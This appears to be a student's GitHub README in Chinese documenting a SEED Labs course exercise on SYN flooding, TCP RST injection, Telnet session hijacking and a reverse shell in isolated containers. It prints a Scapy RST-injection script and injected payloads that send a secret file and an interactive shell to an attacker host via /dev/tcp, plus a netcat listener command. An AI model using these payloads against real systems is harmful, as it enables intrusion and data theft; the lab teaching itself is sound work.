tairimehdi/tcp-ip-attack-lab

GitHub: tairimehdi/tcp-ip-attack-lab

一个基于SEED Labs隔离环境的TCP/IP攻击实验教程,涵盖SYN泛洪、TCP RST攻击、会话劫持和反向Shell四种经典网络攻击的原理剖析与实操复现。

Stars: 0 | Forks: 0

# 🛡️ TCP/IP 攻击实验 — 高级网络安全 ## 📌 仓库概述 本仓库记录了在伊斯兰堡 FAST-NUCES **高级网络安全** 课程中进行的一项 TCP/IP 攻击实操实验。所有攻击均在 SEED Labs 基础设施的**完全隔离虚拟环境**中执行 —— 未针对真实网络或未授权系统进行操作。 实验涵盖四个核心 TCP/IP 攻击类别:SYN 泛洪、TCP RST 攻击、TCP 会话劫持以及通过会话劫持实现反向 Shell。每项任务均记录了逐步的方法论、代码、Wireshark 捕获和分析。 ## ⚠️ 免责声明 ## 🧪 实验环境 | 组件 | 详情 | |------------------|----------------------------------| | **宿主操作系统** | SEED Ubuntu 20.04 VM | | **攻击者** | Docker 容器 (`seed-attacker`) | | **受害者** | Docker 容器 (`victim-10.9.0.5`) | | **用户** | `user1-10.9.0.6`, `user2-10.9.0.7` | | **网络** | 隔离的虚拟网桥网络 | | **Docker** | v19.03.8 + Docker Compose v1.27.4 | ## 🛠️ 工具与技术 | 工具 | 用途 | |------|---------| | **Scapy** | 数据包构造、欺骗与注入 | | **Wireshark** | 数据包捕获与流量分析 | | **tcpdump** | 基于命令行的数据包嗅探 | | **Netcat (nc)** | 反向 Shell 监听器 | | **Python 3** | 编写 SYN 泛洪与会话劫持攻击脚本 | | **GCC / C** | 编译高速 SYN 泛洪二进制文件 | | **Docker** | 容器化的受害者/攻击者环境 | ## 📂 仓库结构 ``` tcp-ip-attack-lab/ │ ├── README.md # This file ├── report/ │ └── 25I-7722_Assignment1.pdf # Full lab report (submitted) │ ├── task1-syn-flood/ │ ├── synflood.py # Python SYN flood script │ └── synflood.c # C-based SYN flood program │ ├── task2-rst-attack/ │ └── rst.py # TCP RST packet injection script │ ├── task3-session-hijacking/ │ └── task3_hijacking.py # TCP session hijack + data exfiltration │ └── task4-reverse-shell/ └── task4_hijacking.py # Reverse shell via TCP session hijacking ``` ## 🗂️ 任务摘要 ### 任务 1 — SYN 泛洪攻击 **目标:** 通过向受害者发送大量伪造的 SYN 包来耗尽其 TCP 积压队列,从而阻止合法连接。 #### 工作原理: SYN 泛洪利用了 TCP 三次握手机制。攻击者发送大量带有**随机伪造源 IP** 的 SYN 包,迫使受害者分配半开连接(SYN_RECV 状态),直到其 **Transmission Control Block (TCB)** 队列满。合法用户随后会收到“连接超时”。 #### 子任务: - **任务 1.1 — Python (Scapy):** 速率较慢;需要将 `tcp_max_syn_backlog` 减少到 50 才能成功。 - **任务 1.2 — C 程序:** 由于直接访问原始套接字且无解释器开销,速度更快。在默认队列大小下攻击即可成功。 - **任务 1.3 — SYN Cookie 防御:** 通过 `sysctl -w net.ipv4.tcp_syncookies=1` 启用。服务器将连接信息编码在 SYN-ACK 序列号中 —— 在收到有效 ACK 之前不分配队列。**攻击失效。** #### 关键命令: ``` # 减小 TCB 队列 (victim) sysctl -w net.ipv4.tcp_max_syn_backlog=50 # 监控半开连接 (victim) ss -n state syn-recv sport = :23 # 启用 SYN cookie 防御 (victim) sysctl -w net.ipv4.tcp_syncookies=1 # 清空 TCP metrics 缓存 ip tcp_metrics flush ``` #### 关键见解 — 为什么 C 比 Python 快? | 因素 | Python | C | |--------|--------|---| | 执行方式 | 解释执行 | 编译执行 | | 套接字访问 | 通过库 | 原始套接字 | | 开销 | 高 (GIL, 解释器) | 最低 | | 数据包速率 | 低 | 非常高 | ### 任务 2 — TCP RST 攻击 **目标:** 通过注入伪造的 TCP RST 包来终止两台主机之间活动的 Telnet 会话。 #### 工作原理: 攻击者使用 Wireshark/tcpdump 嗅探活动的 TCP 会话以提取: - 源 IP 与端口 - 目的 IP 与端口 - 当前序列号 接着使用 Scapy 伪造一个 RST 包,冒充客户端。受害服务器收到 RST 后立即关闭连接。 #### 攻击脚本 (`rst.py`): ``` from scapy.all import * ip = IP(src="10.9.0.6", dst="10.9.0.5") tcp = TCP(sport=39180, dport=23, flags="R", seq=3887566784) pkt = ip/tcp send(pkt, verbose=1) ``` #### 验证结果: Wireshark 确认了双向的 RST 包(`39180 → 23 [RST]` 和 `23 → 39180 [RST]`)。客户端会话打印出 `Connection closed by foreign host.` ### 任务 3 — TCP 会话劫持 **目标:** 向活动的、已认证的 Telnet 会话中注入恶意命令,从受害者处窃取敏感数据。 #### 工作原理: 1. User1 与受害者之间建立合法的 Telnet 会话。 2. 攻击者嗅探 TCP 参数(源/目的 IP、端口、序列号与确认号)。 3. 伪造一个携带 Shell 命令作为载荷的 ACK 包。 4. 受害者执行注入的命令,并通过 `ncat` 将输出回传给攻击者。 #### 攻击脚本摘录: ``` data = "\ncat /home/seed/confidential/secret.txt > /dev/tcp/10.9.0.1/9090\n" pkt = ip/tcp/data send(pkt, verbose=0) ``` #### 攻击者监听器: ``` nc -lnv 9090 # 收到的输出:"Sarmad is Hacker" ``` #### 结果: ✅ 敏感文件内容窃取成功。 ### 任务 4 — 通过 TCP 会话劫持实现反向 Shell **目标:** 通过向被劫持的 TCP 会话注入反向 Shell 命令,在受害者机器上获得完整的交互式 Shell 访问权限。 #### 工作原理: 作为任务 3 的扩展,注入的载荷现在在受害者上启动 `/bin/sh` 并将 I/O 重定向到攻击者的 netcat 监听器 —— 从而提供完整的 Shell 控制权。 #### 载荷: ``` data = "\n/bin/sh -i > /dev/tcp/10.9.0.1/9090 2>&1 0<&1\n" ``` #### 结果: ✅ 成功获取完整的反向 Shell。攻击者在受害者的机器上远程运行了 `ifconfig`。 ## 🔐 防御与缓解措施 | 攻击 | 防御技术 | |--------|------------------| | SYN 泛洪 | SYN Cookies (`tcp_syncookies=1`)、速率限制、防火墙规则 | | TCP RST 攻击 | 加密会话 (SSH/TLS)、序列号随机化 | | 会话劫持 | 使用加密协议 (SSH 代替 Telnet)、TLS | | 反向 Shell | 出站过滤、网络分段、IDS/IPS | ## 📋 设置与复现(仅限实验环境) ``` # 1. 提取 lab 设置 cd TCP_Attack_Lab && ls # confirm Labsetup folder # 2. 构建 containers cd Labsetup docker-compose build # 3. 启动 containers docker-compose up -d # 4. 验证运行中的 containers dockps # 5. 进入 attacker container docksh seed-attacker ``` ## 📄 完整报告 包含所有截图、Wireshark 捕获和分析的完整实验报告可在以下链接获取: 📁 [`report/25I-7722_Assignment1.pdf`](./report/25I-7722_Assignment1.pdf) ## 👤 作者 | 字段 | 详情 | |-------|---------| | **姓名** | Sarmad Farooq | | **学号** | 25I-7722 | | **项目** | MS 网络安全 | | **院校** | FAST-NUCES, 伊斯兰堡校区 | | **课程** | 高级网络安全 | | **讲师** | Dr. Zafar Iqbal | | **实验来源** | [SEED Labs — TCP/IP Attack Lab](https://seedsecuritylabs.org/Labs_20.04/Networking/TCP_Attacks/) | ## 📚 参考资料 - SEED Labs TCP/IP Attack Lab — [seedsecuritylabs.org](https://seedsecuritylabs.org/Labs_20.04/Networking/TCP_Attacks/) - Wenliang Du, *Computer & Internet Security: A Hands-on Approach*, 3rd Ed. - RFC 793 — Transmission Control Protocol - Linux `sysctl` documentation for TCP kernel parameters
**⭐ 如果您觉得这对学习有帮助,请考虑给仓库一个 Star。** *所有内容仅用于教育和学术目的。*
标签:Docker, DoS攻击, Python, Scapy, SEED Labs, SYN洪泛, TCP/IP协议栈, TCP/IP攻击, TCP RST攻击, TCP会话劫持, Wireshark, 中间人攻击, 句柄查看, 安全实验, 安全防御评估, 客户端加密, 数据包构造, 无后门, 模糊测试, 欺骗攻击, 网络协议分析, 网络嗅探, 网络安全, 网络安全平台, 网络安全课程, 请求拦截, 逆向Shell, 逆向工具, 隐私保护